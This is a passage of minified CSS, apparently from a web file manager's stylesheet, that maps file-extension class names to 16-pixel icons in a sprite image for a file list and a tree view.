!important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -128px !important;}.file-list-split .file .ico .x-item-file.x-vb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -112px !important;}.file-list-split .file .ico .x-item-file.x-vbproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -96px !important;}.file-list-split .file .ico .x-item-file.x-vcproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -80px !important;}.file-list-split .file .ico .x-item-file.x-vcxproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -64px !important;}.file-list-split .file .ico .x-item-file.x-xaml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -48px !important;}.file-list-split .file .ico .x-item-file.x-xml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -32px !important;}.file-list-split .file .ico .x-item-file.x-xsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -16px !important;}.file-list-split .file .ico .x-item-file.x-xsl{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px 0 !important;}.file-list-split .file .ico .x-item-file.x-bmp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -64px !important;}.file-list-split .file .ico .x-item-file.x-gif{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -48px !important;}.file-list-split .file .ico .x-item-file.x-ico{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -32px !important;}.file-list-split .file .ico .x-item-file.x-jpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-65px -13px !important;}.file-list-split .file .ico .x-item-file.x-png{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px 0 !important;}.file-list-split .file .ico .x-item-file.x-accdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -624px !important;}.file-list-split .file .ico .x-item-file.x-csv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -608px !important;}.file-list-split .file .ico .x-item-file.x-doc{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -592px !important;}.file-list-split .file .ico .x-item-file.x-docm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -576px !important;}.file-list-split .file .ico .x-item-file.x-docx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -560px !important;}.file-list-split .file .ico .x-item-file.x-dot{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -544px !important;}.file-list-split .file .ico .x-item-file.x-dotm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -528px !important;}.file-list-split .file .ico .x-item-file.x-dotx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -512px !important;}.file-list-split .file .ico .x-item-file.x-epub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -496px !important;}.file-list-split .file .ico .x-item-file.x-mdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -480px !important;}.file-list-split .file .ico .x-item-file.x-mht{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -464px !important;}.file-list-split .file .ico .x-item-file.x-mpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -448px !important;}.file-list-split .file .ico .x-item-file.x-mpt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -432px !important;}.file-list-split .file .ico .x-item-file.x-msg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -416px !important;}.file-list-split .file .ico .x-item-file.x-odp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -400px !important;}.file-list-split .file .ico .x-item-file.x-ods{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -384px !important;}.file-list-split .file .ico .x-item-file.x-odt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -368px !important;}.file-list-split .file .ico .x-item-file.x-pdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -352px !important;}.file-list-split .file .ico .x-item-file.x-pps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -336px !important;}.file-list-split .file .ico .x-item-file.x-ppsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -320px !important;}.file-list-split .file .ico .x-item-file.x-ppt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -304px !important;}.file-list-split .file .ico .x-item-file.x-pptx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -288px !important;}.file-list-split .file .ico .x-item-file.x-pst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -272px !important;}.file-list-split .file .ico .x-item-file.x-pub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -256px !important;}.file-list-split .file .ico .x-item-file.x-vcf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -240px !important;}.file-list-split .file .ico .x-item-file.x-vdw{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -224px !important;}.file-list-split .file .ico .x-item-file.x-vdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -208px !important;}.file-list-split .file .ico .x-item-file.x-vsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -192px !important;}.file-list-split .file .ico .x-item-file.x-vsdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -176px !important;}.file-list-split .file .ico .x-item-file.x-vss{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -160px !important;}.file-list-split .file .ico .x-item-file.x-vst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -144px !important;}.file-list-split .file .ico .x-item-file.x-vsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -128px !important;}.file-list-split .file .ico .x-item-file.x-vtx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -112px !important;}.file-list-split .file .ico .x-item-file.x-xls{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -96px !important;}.file-list-split .file .ico .x-item-file.x-xlsb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -80px !important;}.file-list-split .file .ico .x-item-file.x-xlsm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -64px !important;}.file-list-split .file .ico .x-item-file.x-xlsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -48px !important;}.file-list-split .file .ico .x-item-file.x-xlt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -32px !important;}.file-list-split .file .ico .x-item-file.x-xltx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -16px !important;}.file-list-split .file .ico .x-item-file.x-xps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px 0 !important;}.file-list-split .file .ico .x-item-file.x-cab{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -240px !important;}.file-list-split .file .ico .x-item-file.x-cer{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -224px !important;}.file-list-split .file .ico .x-item-file.x-chm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -208px !important;}.file-list-split .file .ico .x-item-file.x-cmd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -192px !important;}.file-list-split .file .ico .x-item-file.x-dll{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -176px !important;}.file-list-split .file .ico .x-item-file.x-exe{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -160px !important;}.file-list-split .file .ico .x-item-file.x-fon{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -144px !important;}.file-list-split .file .ico .x-item-file.x-hlp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -128px !important;}.file-list-split .file .ico .x-item-file.x-ini{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -112px !important;}.file-list-split .file .ico .x-item-file.x-lnk{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -96px !important;}.file-list-split .file .ico .x-item-file.x-msi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -80px !important;}.file-list-split .file .ico .x-item-file.x-ps1{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -64px !important;}.file-list-split .file .ico .x-item-file.x-reg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -48px !important;}.file-list-split .file .ico .x-item-file.x-rtf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -32px !important;}.file-list-split .file .ico .x-item-file.x-txt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -16px !important;}.file-list-split .file .ico .x-item-file.x-vbs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px 0 !important;}.file-list-split .file .ico .x-item-file.x-3gp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -160px !important;}.file-list-split .file .ico .x-item-file.x-avi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -144px !important;}.file-list-split .file .ico .x-item-file.x-flv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -128px !important;}.file-list-split .file .ico .x-item-file.x-m4v{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -112px !important;}.file-list-split .file .ico .x-item-file.x-mkv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -96px !important;}.file-list-split .file .ico .x-item-file.x-mov{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -80px !important;}.file-list-split .file .ico .x-item-file.x-mp4{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -64px !important;}.file-list-split .file .ico .x-item-file.x-mpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -48px !important;}.file-list-split .file .ico .x-item-file.x-ogg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -32px !important;}.file-list-split .file .ico .x-item-file.x-webm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -16px !important;}.file-list-split .file .ico .x-item-file.x-wmv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px 0 !important;}.file-list-split .file .ico .x-item-file.x-asax{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -176px !important;}.file-list-split .file .ico .x-item-file.x-ascx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -160px !important;}.file-list-split .file .ico .x-item-file.x-ashx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -144px !important;}.file-list-split .file .ico .x-item-file.x-asmx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -128px !important;}.file-list-split .file .ico .x-item-file.x-aspx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -112px !important;}.file-list-split .file .ico .x-item-file.x-config{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -96px !important;}.file-list-split .file .ico .x-item-file.x-cshtml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -80px !important;}.file-list-split .file .ico .x-item-file.x-swf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -16px !important;}.file-list-split .file .ico .x-item-file.x-xap{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px 0 !important;}.file-list-split .file .ico .x-item-file.x-php{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/php_small.png");}.file-list-split .file .ico .x-item-file.x-txt,.file-list-split .file .ico .x-item-file.x-textile,.file-list-split .file .ico .x-item-file.x-inc,.file-list-split .file .ico .x-item-file.x-log{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/txt_small.png");}.file-list-split .file .ico .x-item-file.x-folder{display:inline-block;margin-top:0px;}.ztree li span.tree_icon .x-item-file{top:1px;width:18px !important;height:18px !important;}.ztree li span.tree_icon .x-item-file.x-7z{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -160px !important;}.ztree li span.tree_icon .x-item-file.x-bz2{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -144px !important;}.ztree li span.tree_icon .x-item-file.x-dmg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -128px !important;}.ztree li span.tree_icon .x-item-file.x-gz{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -112px !important;}.ztree li span.tree_icon .x-item-file.x-iso{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -96px !important;}.ztree li span.tree_icon .x-item-file.x-jar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -80px !important;}.ztree li span.tree_icon .x-item-file.x-pkg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -64px !important;}.ztree li span.tree_icon .x-item-file.x-rar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -48px !important;}.ztree li span.tree_icon .x-item-file.x-sitx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -32px !important;}.ztree li span.tree_icon .x-item-file.x-tar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -16px !important;}.ztree li span.tree_icon .x-item-file.x-zip{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 0 !important;}.ztree li span.tree_icon .x-item-file.x-aac{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -80px !important;}.ztree li span.tree_icon .x-item-file.x-m4a{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -64px !important;}.ztree li span.tree_icon .x-item-file.x-midi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -48px !important;}.ztree li span.tree_icon .x-item-file.x-mp3{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -32px !important;}.ztree li span.tree_icon .x-item-file.x-wav{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -16px !important;}.ztree li span.tree_icon .x-item-file.x-wma{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px 0 !important;}.ztree li span.tree_icon .x-item-file.x-3ds{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -192px !important;}.ztree li span.tree_icon .x-item-file.x-ai{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -176px !important;}.ztree li span.tree_icon .x-item-file.x-as{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -160px !important;}.ztree li span.tree_icon .x-item-file.x-cdr{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -144px !important;}.ztree li span.tree_icon .x-item-file.x-dwg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -128px !important;}.ztree li span.tree_icon .x-item-file.x-dxf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -112px !important;}.ztree li span.tree_icon .x-item-file.x-eps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -96px !important;}.ztree li span.tree_icon .x-item-file.x-fla{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -80px !important;}.ztree li span.tree_icon .x-item-file.x-indd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -64px !important;}.ztree li span.tree_icon .x-item-file.x-prproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -48px !important;}.ztree li span.tree_icon .x-item-file.x-psb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -32px !important;}.ztree li span.tree_icon .x-item-file.x-psd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -16px !important;}.ztree li span.tree_icon .x-item-file.x-pspimage{position:relative;width:16px !important;height:16px 